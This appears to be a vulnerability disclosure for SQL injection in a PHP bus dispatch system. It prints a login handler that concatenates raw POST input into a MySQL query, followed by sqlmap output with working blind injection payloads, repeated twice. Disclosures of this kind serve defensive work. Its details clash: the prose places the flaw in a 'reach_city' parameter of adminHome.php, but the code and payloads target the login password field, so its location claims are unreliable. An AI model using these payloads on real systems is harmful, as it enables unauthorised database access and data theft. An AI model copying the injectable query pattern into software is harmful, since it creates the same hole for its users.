Bus Dispatch and Information System in login_info has Sql injection vulnerabilities

Bus Dispatch and Information System has Sql injection vulnerabilities. The vulnerability is located in the reach_city parameter of the adminHome.php file. The attacker can read and write arbitrarily to the database and obtain sensitive data without logging in the background.

```
$username=$_POST['username'];
$password=$_POST['password'];

$login_query=mysql_query("select * from admin where username='$username' and password='$password'");
$count=mysql_num_rows($login_query);
$row=mysql_fetch_array($login_query);
$firstname=$row['firstname'];
$lastname=$row['lastname'];

if ($count > 0){
session_start();
$_SESSION['id']=$row['adminid'];

echo "<script>alert('Successfully Login!'); window.location='dashboard.php'</script>";
}else{
    echo "<script>alert('Invalid Username and Password! Try again.'); window.location='index.php'</script>"
?>
<?php }
}
?>
```

```
[08:20:05] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 2774 HTTP(s) requests:
---
Parameter: password (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: username=123&password=123' OR NOT 3693=3693#&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=123&password=123' AND (SELECT 3816 FROM (SELECT(SLEEP(5)))byhh)-- NQtu&login=
```

Sqlmap Attack

```
---

Parameter: password (POST)
```

```
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT -
MySQL comment)
    Payload: username=123&password=123' OR NOT 3693=3693#&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=123&password=123' AND (SELECT 3816 FROM
(SELECT(SLEEP(5)))byhh)-- NQtu&login=
---
```